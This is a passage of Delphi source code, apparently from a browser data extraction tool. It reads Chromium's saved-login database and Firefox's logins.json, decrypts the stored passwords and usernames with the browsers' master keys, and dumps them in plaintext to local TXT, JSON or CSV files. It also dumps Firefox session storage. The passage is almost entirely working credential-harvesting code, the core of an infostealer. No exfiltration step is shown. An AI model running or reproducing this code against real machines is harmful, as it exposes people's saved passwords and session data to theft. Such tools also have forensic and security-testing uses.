96 | WriteLn(OutputFile, 'Password: ', Login.Password);
97 | WriteLn(OutputFile, 'Created: ', FormatDateTime('yyyy-mm-dd hh:nn:ss',
98 | Login.CreateDate));
99 | WriteLn(OutputFile, '----------------------------------------');
100 | end;
101 | WriteLn(Format('[%s] Passwords saved to: %s', [GetBrowserPrefix.ToUpper,
102 | FilePath]));
103 | finally
104 | CloseFile(OutputFile);
105 | end;
106 | end;
107 |
108 | procedure TChromiumPasswordHelper.OutputJSON(const Logins: TLoginDataArray);
109 | var
110 | JSONArray: TJSONArray;
111 | JSONObject: TJSONObject;
112 | FileName, FilePath, JSONString: string;
113 | begin
114 | EnsureResultsDirectory;
115 | JSONArray := TJSONArray.Create;
116 | try
117 | for var Login in Logins do
118 | begin
119 | JSONObject := TJSONObject.Create;
120 | JSONObject.AddPair('url', TJSONString.Create(Login.LoginURL));
121 | JSONObject.AddPair('username', TJSONString.Create(Login.UserName));
122 | JSONObject.AddPair('password', TJSONString.Create(Login.Password));
123 | JSONObject.AddPair('created', FormatDateTime('yyyy-mm-dd hh:nn:ss',
124 | Login.CreateDate));
125 | JSONArray.AddElement(JSONObject);
126 | end;
127 |
128 | FileName := Format('%s_%s_passwords.json',
129 | [GetBrowserPrefix, GetProfileName]);
130 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'),
131 | FileName);
132 |
133 | JSONString := JSONArray.Format(2);
134 | JSONString := StringReplace(JSONString, '\/', '/', [rfReplaceAll]);
135 | TFile.WriteAllText(FilePath, JSONString);
136 |
137 | WriteLn(Format('[%s] Passwords saved to: %s', [GetBrowserPrefix.ToUpper,
138 | FilePath]));
139 | finally
140 | JSONArray.Free;
141 | end;
142 | end;
143 |
144 | procedure TChromiumPasswordHelper.OutputCSV(const Logins: TLoginDataArray);
145 | var
146 | OutputFile: TextFile;
147 | FileName, FilePath: string;
148 | begin
149 | EnsureResultsDirectory;
150 | FileName := Format('%s_%s_passwords.csv', [GetBrowserPrefix, GetProfileName]);
151 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName);
152 | AssignFile(OutputFile, FilePath);
153 | try
154 | Rewrite(OutputFile);
155 | WriteLn(OutputFile, 'URL,Username,Password,Created');
156 |
157 | for var Login in Logins do
158 | begin
159 | WriteLn(OutputFile, Format('"%s","%s","%s","%s"',
160 | [StringReplace(Login.LoginURL, '"', '""', [rfReplaceAll]),
161 | StringReplace(Login.UserName, '"', '""', [rfReplaceAll]),
162 | StringReplace(Login.Password, '"', '""', [rfReplaceAll]),
163 | FormatDateTime('yyyy-mm-dd hh:nn:ss', Login.CreateDate)]));
164 | end;
165 |
166 | WriteLn(Format('[%s] Passwords saved to: %s', [GetBrowserPrefix.ToUpper,
167 | FilePath]));
168 | finally
169 | CloseFile(OutputFile);
170 | end;
171 | end;
172 |
173 | procedure TChromiumPasswordHelper.OutputLogins(const Logins: TLoginDataArray);
174 | begin
175 | case FOutputFormat of
176 | ofHuman:
177 | OutputHuman(Logins);
178 | ofJSON:
179 | OutputJSON(Logins);
180 | ofCSV:
181 | OutputCSV(Logins);
182 | end;
183 | end;
184 |
185 | constructor TChromiumPasswordHelper.Create(const AProfilePath: string;
186 | ABrowserKind: TBrowserKind = bkChrome);
187 | begin
188 | inherited Create;
189 | FProfilePath := AProfilePath;
190 | FBrowserKind := ABrowserKind;
191 | FOutputFormat := ofCSV;
192 | FSQLiteConnection := TUniConnection.Create(nil);
193 | FSQLiteConnection.ProviderName := 'SQLite';
194 | FSQLiteConnection.LoginPrompt := False;
195 | FSQLiteConnection.SpecificOptions.Values['Direct'] := 'True';
196 | end;
197 |
198 | destructor TChromiumPasswordHelper.Destroy;
199 | begin
200 | if Assigned(FSQLiteConnection) then
201 | begin
202 | if FSQLiteConnection.Connected then
203 | FSQLiteConnection.Disconnect;
204 | FSQLiteConnection.Free;
205 | end;
206 | inherited;
207 | end;
208 |
209 |
210 | function TChromiumPasswordHelper.GetPasswords: TLoginDataArray;
211 | var
212 | Query: TUniQuery;
213 | LoginDb, TempDb: string;
214 | DateStr: string;
215 | FS: TFormatSettings;
216 | i: Integer;
217 | begin
218 | SetLength(Result, 0);
219 | LoginDb := TPath.Combine(FProfilePath, 'Login Data');
220 |
221 | if not FileExists(LoginDb) then
222 | Exit;
223 |
224 | // Create temp copy of database
225 | TempDb := TPath.Combine(TPath.GetTempPath, Format('login_%s.db', [TGUID.NewGuid.ToString]));
226 | try
227 | TFile.Copy(LoginDb, TempDb, True);
228 | FSQLiteConnection.Database := TempDb;
229 | FSQLiteConnection.Connect;
230 |
231 | Query := TUniQuery.Create(nil);
232 | try
233 | Query.Connection := FSQLiteConnection;
234 | Query.SQL.Text := QUERY_Chromium_LOGIN;
235 | Query.Open;
236 |
237 | while not Query.Eof do
238 | begin
239 | SetLength(Result, Length(Result) + 1);
240 | with Result[High(Result)] do
241 | begin
242 | LoginURL := Query.FieldByName('origin_url').AsString;
243 | UserName := Query.FieldByName('username_value').AsString;
244 |
245 | var EncryptedPwd := Query.FieldByName('password_value').AsBytes;
246 | if Length(EncryptedPwd) > 0 then
247 | begin
248 | var MasterKey := ChromiumCrypto.GetMasterKey(FProfilePath);
249 | if Length(MasterKey) > 0 then
250 | begin
251 | var DecryptedBytes := ChromiumCrypto.DecryptWithChromium(MasterKey, EncryptedPwd);
252 | if Length(DecryptedBytes) > 0 then
253 | try
254 | Password := TEncoding.UTF8.GetString(DecryptedBytes);
255 | except
256 | Password := '';
257 | for i := 0 to Length(DecryptedBytes) - 1 do
258 | if DecryptedBytes[i] >= 32 then
259 | Password := Password + Char(DecryptedBytes[i]);
260 | end;
261 | end;
262 | end;
263 |
264 | // Date conversion
265 | DateStr := Query.FieldByName('formatted_date').AsString;
266 | try
267 | FS := TFormatSettings.Create;
268 | FS.DateSeparator := '-';
269 | FS.TimeSeparator := ':';
270 | FS.ShortDateFormat := 'yyyy-mm-dd';
271 | FS.LongTimeFormat := 'hh:nn:ss';
272 | CreateDate := StrToDateTime(DateStr, FS);
273 | except
274 | CreateDate := 0;
275 | end;
276 | end;
277 | Query.Next;
278 | end;
279 |
280 | if Length(Result) > 0 then
281 | OutputLogins(Result);
282 |
283 | finally
284 | Query.Free;
285 | FSQLiteConnection.Disconnect;
286 | end;
287 |
288 | finally
289 | if FileExists(TempDb) then
290 | TFile.Delete(TempDb);
291 | end;
292 | end;
293 |
294 | function TChromiumPasswordHelper.GetPasswordCount: Integer;
295 | var
296 | Query: TUniQuery;
297 | LoginDb, TempDb: string;
298 | begin
299 | Result := 0;
300 | LoginDb := TPath.Combine(FProfilePath, 'Login Data');
301 |
302 | if not FileExists(LoginDb) then
303 | Exit;
304 |
305 | TempDb := TPath.Combine(TPath.GetTempPath,
306 | Format('login_%s.db', [TGUID.NewGuid.ToString]));
307 | try
308 | TFile.Copy(LoginDb, TempDb);
309 | FSQLiteConnection.Database := TempDb;
310 |
311 | try
312 | FSQLiteConnection.Connect;
313 | Query := TUniQuery.Create(nil);
314 | try
315 | Query.Connection := FSQLiteConnection;
316 | Query.SQL.Text := 'SELECT COUNT(*) as count FROM logins';
317 | Query.Open;
318 | Result := Query.FieldByName('count').AsInteger;
319 | finally
320 | Query.Free;
321 | end;
322 | finally
323 | FSQLiteConnection.Disconnect;
324 | end;
325 | finally
326 | if FileExists(TempDb) then
327 | TFile.Delete(TempDb);
328 | end;
329 | end;
330 |
331 | end.
332 |
--------------------------------------------------------------------------------
/src/browserdata/password/FirefoxPassword.pas:
--------------------------------------------------------------------------------
1 | unit FirefoxPassword;
2 |
3 | interface
4 |
5 | uses
6 | System.SysUtils,
7 | System.Classes,
8 | System.IOUtils,
9 | System.JSON,
10 | System.NetEncoding,
11 | FirefoxCrypto;
12 |
13 | type
14 | TOutputFormat = (ofHuman, ofJSON, ofCSV);
15 |
16 | TLoginData = record
17 | FormSubmitURL: string; // Form submission URL
18 | Hostname: string; // Website hostname
19 | Origin: string; // Origin URL
20 | HttpRealm: string; // HTTP auth realm
21 | Username: string;
22 | Password: string;
23 | CreateDate: Int64;
24 | end;
25 |
26 | TLoginDataArray = TArray;
27 |
28 | TFirefoxPasswordHelper = class
29 | private
30 | FProfilePath: string;
31 | FOutputFormat: TOutputFormat;
32 | FMasterKeyHelper: TMasterKeyHelper;
33 | function GetProfileName: string;
34 | procedure EnsureResultsDirectory;
35 | procedure ExtractURLs(const JSONItem: TJSONValue; var LoginData: TLoginData);
36 | procedure OutputHuman(const Credentials: TLoginDataArray);
37 | procedure OutputJSON(const Credentials: TLoginDataArray);
38 | procedure OutputCSV(const Credentials: TLoginDataArray);
39 | procedure OutputCredentials(const Credentials: TLoginDataArray);
40 | function LoadFirefoxLoginData: TLoginDataArray;
41 | public
42 | constructor Create(const AProfilePath: string);
43 | destructor Destroy; override;
44 | function GetPasswords: TLoginDataArray;
45 | function GetPasswordCount: Integer;
46 | property OutputFormat: TOutputFormat read FOutputFormat write FOutputFormat;
47 | end;
48 |
49 | implementation
50 |
51 | function TFirefoxPasswordHelper.GetProfileName: string;
52 | var
53 | ProfileFolder: string;
54 | begin
55 | ProfileFolder := ExtractFileName(ExcludeTrailingPathDelimiter(FProfilePath));
56 | Result := StringReplace(ProfileFolder, '.', '_', [rfReplaceAll]);
57 | end;
58 |
59 | procedure TFirefoxPasswordHelper.ExtractURLs(const JSONItem: TJSONValue; var LoginData: TLoginData);
60 | begin
61 | // Extract all URL-related fields
62 | LoginData.FormSubmitURL := JSONItem.GetValue('formSubmitURL', '');
63 | LoginData.Hostname := JSONItem.GetValue('hostname', '');
64 | LoginData.Origin := JSONItem.GetValue('origin', '');
65 | LoginData.HttpRealm := JSONItem.GetValue('httpRealm', '');
66 | end;
67 |
68 | constructor TFirefoxPasswordHelper.Create(const AProfilePath: string);
69 | begin
70 | inherited Create;
71 | FProfilePath := AProfilePath;
72 | FOutputFormat := ofCSV; // Default to CSV
73 | FMasterKeyHelper := TMasterKeyHelper.Create(AProfilePath);
74 | end;
75 |
76 | destructor TFirefoxPasswordHelper.Destroy;
77 | begin
78 | FMasterKeyHelper.Free;
79 | inherited;
80 | end;
81 |
82 | procedure TFirefoxPasswordHelper.EnsureResultsDirectory;
83 | var
84 | ResultsDir: string;
85 | begin
86 | ResultsDir := TPath.Combine(GetCurrentDir, 'results');
87 | if not TDirectory.Exists(ResultsDir) then
88 | TDirectory.CreateDirectory(ResultsDir);
89 | end;
90 |
91 | procedure TFirefoxPasswordHelper.OutputHuman(const Credentials: TLoginDataArray);
92 | var
93 | OutputFile: TextFile;
94 | FileName, FilePath: string;
95 | begin
96 | EnsureResultsDirectory;
97 | FileName := Format('firefox_%s_passwords.txt', [GetProfileName]);
98 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName);
99 | AssignFile(OutputFile, FilePath);
100 | try
101 | Rewrite(OutputFile);
102 | for var i := 0 to Length(Credentials) - 1 do
103 | begin
104 | WriteLn(OutputFile);
105 | if Credentials[i].FormSubmitURL <> '' then
106 | WriteLn(OutputFile, 'Form Submit URL: ', Credentials[i].FormSubmitURL);
107 | if Credentials[i].Hostname <> '' then
108 | WriteLn(OutputFile, 'Hostname: ', Credentials[i].Hostname);
109 | if Credentials[i].Origin <> '' then
110 | WriteLn(OutputFile, 'Origin: ', Credentials[i].Origin);
111 | if Credentials[i].HttpRealm <> '' then
112 | WriteLn(OutputFile, 'HTTP Realm: ', Credentials[i].HttpRealm);
113 | WriteLn(OutputFile, 'Username: ', Credentials[i].Username);
114 | WriteLn(OutputFile, 'Password: ', Credentials[i].Password);
115 | WriteLn(OutputFile, '----------------------------------------');
116 | end;
117 | WriteLn('[FIREFOX] Passwords saved to: ', FilePath);
118 | finally
119 | CloseFile(OutputFile);
120 | end;
121 | end;
122 |
123 | procedure TFirefoxPasswordHelper.OutputJSON(const Credentials: TLoginDataArray);
124 | var
125 | JSONArray: TJSONArray;
126 | JSONObject: TJSONObject;
127 | FileName, FilePath, JSONString: string;
128 | begin
129 | EnsureResultsDirectory;
130 | JSONArray := TJSONArray.Create;
131 | try
132 | for var i := 0 to Length(Credentials) - 1 do
133 | begin
134 | JSONObject := TJSONObject.Create;
135 |
136 | if Credentials[i].FormSubmitURL <> '' then
137 | JSONObject.AddPair('formSubmitURL', TJSONString.Create(Credentials[i].FormSubmitURL));
138 | if Credentials[i].Hostname <> '' then
139 | JSONObject.AddPair('hostname', TJSONString.Create(Credentials[i].Hostname));
140 | if Credentials[i].Origin <> '' then
141 | JSONObject.AddPair('origin', TJSONString.Create(Credentials[i].Origin));
142 | if Credentials[i].HttpRealm <> '' then
143 | JSONObject.AddPair('httpRealm', TJSONString.Create(Credentials[i].HttpRealm));
144 |
145 | JSONObject.AddPair('username', TJSONString.Create(Credentials[i].Username));
146 | JSONObject.AddPair('password', TJSONString.Create(Credentials[i].Password));
147 |
148 | JSONArray.AddElement(JSONObject);
149 | end;
150 |
151 | FileName := Format('firefox_%s_passwords.json', [GetProfileName]);
152 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName);
153 |
154 | // Convert JSON to string
155 | JSONString := JSONArray.Format(2);
156 |
157 | // Replace escaped forward slashes \/ with /
158 | JSONString := StringReplace(JSONString, '\/', '/', [rfReplaceAll]);
159 |
160 | // Save the modified JSON string
161 | TFile.WriteAllText(FilePath, JSONString);
162 |
163 | WriteLn('[FIREFOX] Passwords saved to: ', FilePath);
164 | finally
165 | JSONArray.Free;
166 | end;
167 | end;
168 |
169 | procedure TFirefoxPasswordHelper.OutputCSV(const Credentials: TLoginDataArray);
170 | var
171 | OutputFile: TextFile;
172 | FileName, FilePath: string;
173 | begin
174 | EnsureResultsDirectory;
175 | FileName := Format('firefox_%s_passwords.csv', [GetProfileName]);
176 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName);
177 | AssignFile(OutputFile, FilePath);
178 | try
179 | Rewrite(OutputFile);
180 | WriteLn(OutputFile, 'FormSubmitURL,Hostname,Origin,HttpRealm,Username,Password');
181 |
182 | for var Cred in Credentials do
183 | begin
184 | WriteLn(OutputFile, Format('"%s","%s","%s","%s","%s","%s"',
185 | [
186 | StringReplace(Cred.FormSubmitURL, '"', '""', [rfReplaceAll]),
187 | StringReplace(Cred.Hostname, '"', '""', [rfReplaceAll]),
188 | StringReplace(Cred.Origin, '"', '""', [rfReplaceAll]),
189 | StringReplace(Cred.HttpRealm, '"', '""', [rfReplaceAll]),
190 | StringReplace(Cred.Username, '"', '""', [rfReplaceAll]),
191 | StringReplace(Cred.Password, '"', '""', [rfReplaceAll])
192 | ]));
193 | end;
194 |
195 | WriteLn('[FIREFOX] Passwords saved to: ', FilePath);
196 | finally
197 | CloseFile(OutputFile);
198 | end;
199 | end;
200 |
201 | procedure TFirefoxPasswordHelper.OutputCredentials(const Credentials: TLoginDataArray);
202 | begin
203 | case FOutputFormat of
204 | ofHuman: OutputHuman(Credentials);
205 | ofJSON: OutputJSON(Credentials);
206 | ofCSV: OutputCSV(Credentials);
207 | end;
208 | end;
209 |
210 | function TFirefoxPasswordHelper.LoadFirefoxLoginData: TLoginDataArray;
211 | var
212 | JSONFile: string;
213 | JSONString: string;
214 | JSONValue: TJSONValue;
215 | JSONArray: TJSONArray;
216 | EncryptedUsernames, EncryptedPasswords: TArray;
217 | begin
218 | SetLength(Result, 0);
219 | JSONFile := TPath.Combine(FProfilePath, 'logins.json');
220 |
221 | if not FileExists(JSONFile) then
222 | begin
223 | //WriteLn('Debug: logins.json not found at ', JSONFile);
224 | Exit;
225 | end;
226 |
227 | try
228 | JSONString := TFile.ReadAllText(JSONFile);
229 | JSONValue := TJSONObject.ParseJSONValue(JSONString);
230 | if not Assigned(JSONValue) then
231 | begin
232 | WriteLn('Debug: Failed to parse JSON');
233 | Exit;
234 | end;
235 |
236 | try
237 | if not(JSONValue is TJSONObject) then
238 | begin
239 | WriteLn('Debug: Root JSON is not an object');
240 | Exit;
241 | end;
242 |
243 | JSONArray := TJSONObject(JSONValue).GetValue('logins');
244 | if not Assigned(JSONArray) then
245 | begin
246 | WriteLn('Debug: No logins array found');
247 | Exit;
248 | end;
249 |
250 | SetLength(Result, JSONArray.Count);
251 | SetLength(EncryptedUsernames, JSONArray.Count);
252 | SetLength(EncryptedPasswords, JSONArray.Count);
253 |
254 | for var i := 0 to JSONArray.Count - 1 do
255 | begin
256 | // Extract all URL fields
257 | ExtractURLs(JSONArray.Items[i], Result[i]);
258 | Result[i].CreateDate := JSONArray.Items[i].GetValue('timeCreated') div 1000;
259 |
260 | try
261 | EncryptedUsernames[i] := TNetEncoding.Base64.DecodeStringToBytes(
262 | JSONArray.Items[i].GetValue('encryptedUsername'));
263 | EncryptedPasswords[i] := TNetEncoding.Base64.DecodeStringToBytes(
264 | JSONArray.Items[i].GetValue('encryptedPassword'));
265 | except
266 | on E: Exception do
267 | begin
268 | WriteLn(Format('Debug: Failed to decode credentials for entry %d: %s', [i, E.Message]));
269 | Continue;
270 | end;
271 | end;
272 | end;
273 |
274 | // Get master key and decrypt credentials
275 | var MasterKey: TBytes;
276 | try
277 | MasterKey := FMasterKeyHelper.GetMasterKey;
278 | except
279 | on E: Exception do
280 | begin
281 | WriteLn('Debug: Failed to get master key: ', E.Message);
282 | Exit;
283 | end;
284 | end;
285 |
286 | // Decrypt usernames and passwords
287 | for var i := 0 to Length(Result) - 1 do
288 | begin
289 | try
290 | if Length(EncryptedUsernames[i]) > 0 then
291 | begin
292 | var UsernamePBE := NewASN1PBE(EncryptedUsernames[i]);
293 | Result[i].Username := TEncoding.UTF8.GetString(
294 | UsernamePBE.Decrypt(MasterKey)
295 | );
296 | end;
297 | except
298 | on E: Exception do
299 | WriteLn(Format('Debug: Failed to decrypt username for entry %d: %s', [i, E.Message]));
300 | end;
301 |
302 | try
303 | if Length(EncryptedPasswords[i]) > 0 then
304 | begin
305 | var PasswordPBE := NewASN1PBE(EncryptedPasswords[i]);
306 | Result[i].Password := TEncoding.UTF8.GetString(
307 | PasswordPBE.Decrypt(MasterKey)
308 | );
309 | end;
310 | except
311 | on E: Exception do
312 | WriteLn(Format('Debug: Failed to decrypt password for entry %d: %s', [i, E.Message]));
313 | end;
314 | end;
315 |
316 | finally
317 | JSONValue.Free;
318 | end;
319 | except
320 | on E: Exception do
321 | begin
322 | WriteLn('Debug: Unexpected error: ', E.Message);
323 | SetLength(Result, 0);
324 | end;
325 | end;
326 | end;
327 |
328 | function TFirefoxPasswordHelper.GetPasswords: TLoginDataArray;
329 | begin
330 | Result := LoadFirefoxLoginData;
331 | if Length(Result) > 0 then
332 | OutputCredentials(Result);
333 | end;
334 |
335 | function TFirefoxPasswordHelper.GetPasswordCount: Integer;
336 | var
337 | JSONFile: string;
338 | JSONString: string;
339 | JSONValue: TJSONValue;
340 | JSONArray: TJSONArray;
341 | begin
342 | Result := 0;
343 | JSONFile := TPath.Combine(FProfilePath, 'logins.json');
344 |
345 | if not FileExists(JSONFile) then
346 | Exit;
347 |
348 | try
349 | JSONString := TFile.ReadAllText(JSONFile);
350 | JSONValue := TJSONObject.ParseJSONValue(JSONString);
351 | if Assigned(JSONValue) then
352 | try
353 | if JSONValue is TJSONObject then
354 | begin
355 | JSONArray := TJSONObject(JSONValue).GetValue('logins');
356 | if Assigned(JSONArray) then
357 | Result := JSONArray.Count;
358 | end;
359 | finally
360 | JSONValue.Free;
361 | end;
362 | except
363 | Result := 0;
364 | end;
365 | end;
366 |
367 | end.
368 |
--------------------------------------------------------------------------------
/src/browserdata/sessionstorage/ChromiumSessionStorage.pas:
--------------------------------------------------------------------------------
1 | unit ChromiumSessionStorage;
2 |
3 | interface
4 |
5 | implementation
6 |
7 | end.
8 |
--------------------------------------------------------------------------------
/src/browserdata/sessionstorage/FirefoxSessionStorage.pas:
--------------------------------------------------------------------------------
1 | unit FirefoxSessionStorage;
2 |
3 | interface
4 |
5 | uses
6 | System.SysUtils,
7 | System.Classes,
8 | System.IOUtils,
9 | System.Generics.Collections,
10 | System.Generics.Defaults,
11 | System.JSON,
12 | Uni,
13 | SQLiteUniProvider;
14 |
15 | type
16 | TOutputFormat = (ofHuman, ofJSON, ofCSV);
17 |
18 | TSessionStorageItem = record
19 | URL: string;
20 | Key: string;
21 | Value: string;
22 | end;
23 |
24 | TSessionStorageItems = TArray;
25 |
26 | TFirefoxSessionStorageHelper = class
27 | private
28 | FProfilePath: string;
29 | FOutputFormat: TOutputFormat;
30 | FSQLiteConnection: TUniConnection;
31 |
32 | const
33 | QUERY_FIREFOX_SESSIONSTORAGE = 'SELECT originKey, key, value FROM webappsstore2';
34 | CLOSE_JOURNAL_MODE = 'PRAGMA journal_mode=off';
35 |
36 | function GetProfileName: string;
37 | procedure EnsureResultsDirectory;
38 | procedure OutputHuman(const SessionStorage: TSessionStorageItems);
39 | procedure OutputJSON(const SessionStorage: TSessionStorageItems);
40 | procedure OutputCSV(const SessionStorage: TSessionStorageItems);
41 | procedure OutputSessionStorage(const SessionStorage: TSessionStorageItems);
42 | function ParseOriginKey(const OriginKey: string): string;
43 | function ReverseString(const Str: string): string;
44 |
45 | public
46 | constructor Create(const AProfilePath: string);
47 | destructor Destroy; override;
48 | function GetSessionStorage: TSessionStorageItems;
49 | function GetSessionStorageCount: Integer;
50 | property OutputFormat: TOutputFormat read FOutputFormat write FOutputFormat;
51 | end;
52 |
53 | implementation
54 |
55 | function TFirefoxSessionStorageHelper.GetProfileName: string;
56 | var
57 | ProfileFolder: string;
58 | begin
59 | ProfileFolder := ExtractFileName(ExcludeTrailingPathDelimiter(FProfilePath));
60 | Result := StringReplace(ProfileFolder, '.', '_', [rfReplaceAll]);
61 | end;
62 |
63 | function TFirefoxSessionStorageHelper.ReverseString(const Str: string): string;
64 | var
65 | i: Integer;
66 | begin
67 | SetLength(Result, Length(Str));
68 | for i := 1 to Length(Str) do
69 | Result[i] := Str[Length(Str) - i + 1];
70 | end;
71 |
72 | function TFirefoxSessionStorageHelper.ParseOriginKey(const OriginKey: string): string;
73 | var
74 | Parts: TArray;
75 | Host: string;
76 | begin
77 | // Split originKey (e.g., "moc.buhtig.:https:443")
78 | Parts := OriginKey.Split([':']);
79 | if Length(Parts) = 3 then
80 | begin
81 | // Reverse the host part and remove leading dot if present
82 | Host := ReverseString(Parts[0]);
83 | if Host.StartsWith('.') then
84 | Host := Host.Substring(1);
85 |
86 | // Format: scheme://host:port
87 | Result := Format('%s://%s:%s', [Parts[1], Host, Parts[2]]);
88 | end
89 | else
90 | Result := OriginKey;
91 | end;
92 |
93 | procedure TFirefoxSessionStorageHelper.EnsureResultsDirectory;
94 | var
95 | ResultsDir: string;
96 | begin
97 | ResultsDir := TPath.Combine(GetCurrentDir, 'results');
98 | if not TDirectory.Exists(ResultsDir) then
99 | TDirectory.CreateDirectory(ResultsDir);
100 | end;
101 |
102 | procedure TFirefoxSessionStorageHelper.OutputHuman(const SessionStorage: TSessionStorageItems);
103 | var
104 | OutputFile: TextFile;
105 | FileName, FilePath: string;
106 | begin
107 | EnsureResultsDirectory;
108 | FileName := Format('firefox_%s_sessionstorage.txt', [GetProfileName]);
109 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName);
110 | AssignFile(OutputFile, FilePath);
111 | try
112 | Rewrite(OutputFile);
113 | for var Item in SessionStorage do
114 | begin
115 | WriteLn(OutputFile);
116 | WriteLn(OutputFile, 'URL: ', Item.URL);
117 | WriteLn(OutputFile, 'Key: ', Item.Key);
118 | WriteLn(OutputFile, 'Value: ', Item.Value);
119 | WriteLn(OutputFile, '----------------------------------------');
120 | end;
121 | WriteLn('[FIREFOX] SessionStorage saved to: ', FilePath);
122 | finally
123 | CloseFile(OutputFile);
124 | end;
125 | end;
126 |
127 | procedure TFirefoxSessionStorageHelper.OutputJSON(const SessionStorage: TSessionStorageItems);
128 | var
129 | JSONArray: TJSONArray;
130 | JSONObject: TJSONObject;
131 | FileName, FilePath, JSONString: string;
132 | begin
133 | EnsureResultsDirectory;
134 | JSONArray := TJSONArray.Create;
135 | try
136 | for var Item in SessionStorage do
137 | begin
138 | JSONObject := TJSONObject.Create;
139 | JSONObject.AddPair('url', TJSONString.Create(Item.URL));
140 | JSONObject.AddPair('key', TJSONString.Create(Item.Key));
141 | JSONObject.AddPair('value', TJSONString.Create(Item.Value));
142 | JSONArray.AddElement(JSONObject);
143 | end;
144 |
145 | FileName := Format('firefox_%s_sessionstorage.json', [GetProfileName]);
146 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName);
147 |
148 | // Convert JSON to string
149 | JSONString := JSONArray.Format(2);
150 |
151 | // Replace escaped forward slashes \/ with /
152 | JSONString := StringReplace(JSONString, '\/', '/', [rfReplaceAll]);
153 |
154 | // Save the modified JSON string
155 | TFile.WriteAllText(FilePath, JSONString);
156 |
157 | WriteLn('[FIREFOX] SessionStorage saved to: ', FilePath);
158 | finally
159 | JSONArray.Free;
160 | end;
161 | end;
162 |
163 | procedure TFirefoxSessionStorageHelper.OutputCSV(const SessionStorage: TSessionStorageItems);
164 | var
165 | OutputFile: TextFile;
166 | FileName, FilePath: string;
167 | begin
168 | EnsureResultsDirectory;
169 | FileName := Format('firefox_%s_sessionstorage.csv', [GetProfileName]);
170 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName);
171 | AssignFile(OutputFile, FilePath);
172 | try
173 | Rewrite(OutputFile);
174 | WriteLn(OutputFile, 'URL,Key,Value');
175 |
176 | for var Item in SessionStorage do
177 | begin
178 | WriteLn(OutputFile, Format('"%s","%s","%s"',
179 | [StringReplace(Item.URL, '"', '""', [rfReplaceAll]),
180 | StringReplace(Item.Key, '"', '""', [rfReplaceAll]),
181 | StringReplace(Item.Value, '"', '""', [rfReplaceAll])]));
182 | end;
183 |
184 | WriteLn('[FIREFOX] SessionStorage saved to: ', FilePath);
185 | finally
186 | CloseFile(OutputFile);
187 | end;
188 | end;
189 |
190 | procedure TFirefoxSessionStorageHelper.OutputSessionStorage(const SessionStorage: TSessionStorageItems);
191 | begin
192 | case FOutputFormat of
193 | ofHuman:
194 | OutputHuman(SessionStorage);
195 | ofJSON:
196 | OutputJSON(SessionStorage);
197 | ofCSV:
198 | OutputCSV(SessionStorage);
199 | end;
200 | end;
201 |
202 | constructor TFirefoxSessionStorageHelper.Create(const AProfilePath: string);
203 | begin
204 | inherited Create;
205 | FProfilePath := AProfilePath;
206 | FOutputFormat := ofCSV; // Default to CSV
207 | FSQLiteConnection := TUniConnection.Create(nil);
208 | FSQLiteConnection.ProviderName := 'SQLite';
209 | FSQLiteConnection.LoginPrompt := False;
210 | FSQLiteConnection.SpecificOptions.Values['Direct'] := 'True';
211 | end;
212 |
213 | destructor TFirefoxSessionStorageHelper.Destroy;
214 | begin
215 | if Assigned(FSQLiteConnection) then
216 | begin
217 | if FSQLiteConnection.Connected then
218 | FSQLiteConnection.Disconnect;
219 | FSQLiteConnection.Free;
220 | end;
221 | inherited;
222 | end;
223 |
224 | function TFirefoxSessionStorageHelper.GetSessionStorage: TSessionStorageItems;
225 | var
226 | Query: TUniQuery;
227 | SessionStorageDb, TempDb: string;
228 | begin
229 | SetLength(Result, 0);
230 | SessionStorageDb := TPath.Combine(FProfilePath, 'webappsstore.sqlite');
231 |
232 | if not FileExists(SessionStorageDb) then
233 | Exit;
234 |
235 | // Create temp copy of database
236 | TempDb := TPath.Combine(TPath.GetTempPath, Format('webappsstore_%s.sqlite', [TGUID.NewGuid.ToString]));
237 | try
238 | TFile.Copy(SessionStorageDb, TempDb);
239 | FSQLiteConnection.Database := TempDb;
240 |
241 | FSQLiteConnection.Connect;
242 | Query := TUniQuery.Create(nil);
243 | try
244 | Query.Connection := FSQLiteConnection;
245 | Query.SQL.Text := CLOSE_JOURNAL_MODE;
246 | Query.ExecSQL;
247 | Query.SQL.Text := QUERY_FIREFOX_SESSIONSTORAGE;
248 | Query.Open;
249 |
250 | while not Query.Eof do
251 | begin
252 | SetLength(Result, Length(Result) + 1);
253 | with Result[High(Result)] do
254 | begin
255 | URL := ParseOriginKey(Query.FieldByName('originKey').AsString);
256 | Key := Query.FieldByName('key').AsString;
257 | Value := Query.FieldByName('value').AsString;
258 | end;
259 | Query.Next;
260 | end;
261 |
262 | if Length(Result) > 0 then
263 | OutputSessionStorage(Result);
264 |
265 | finally
266 | Query.Free;
267 | FSQLiteConnection.Disconnect;
268 | end;
269 |
270 | finally
271 | if FileExists(TempDb) then
272 | TFile.Delete(TempDb);
273 | end;
274 | end;
275 |
276 | function TFirefoxSessionStorageHelper.GetSessionStorageCount: Integer;
277 | var
278 | Query: TUniQuery;
279 | SessionStorageDb: string;
280 | begin
281 | Result := 0;
282 | SessionStorageDb := TPath.Combine(FProfilePath, 'webappsstore.sqlite');
283 |
284 | if not FileExists(SessionStorageDb) then
285 | Exit;
286 |
287 | FSQLiteConnection.Database := SessionStorageDb;
288 |
289 | try
290 | FSQLiteConnection.Connect;
291 | Query := TUniQuery.Create(nil);
292 | try
293 | Query.Connection := FSQLiteConnection;
294 | Query.SQL.Text := 'SELECT COUNT(*) as count FROM webappsstore2';
295 | Query.Open;
296 | Result := Query.FieldByName('count').AsInteger;
297 | finally
298 | Query.Free;
299 | end;
300 | except
301 | on E: Exception do
302 | WriteLn('Error getting sessionStorage count: ', E.Message);
303 | end;
304 | end;
305 |
306 | end.
307 |
--------------------------------------------------------------------------------
/src/chromium/ChromiumCrypto.pas:
--------------------------------------------------------------------------------
1 | unit ChromiumCrypto;
2 |
3 | interface
4 |
5 | uses
6 | System.SysUtils, System.Classes, System.IOUtils, System.JSON, System.NetEncoding,
7 | SYstem.Math, Winapi.Windows, DECCipherBase, DECCipherModes,
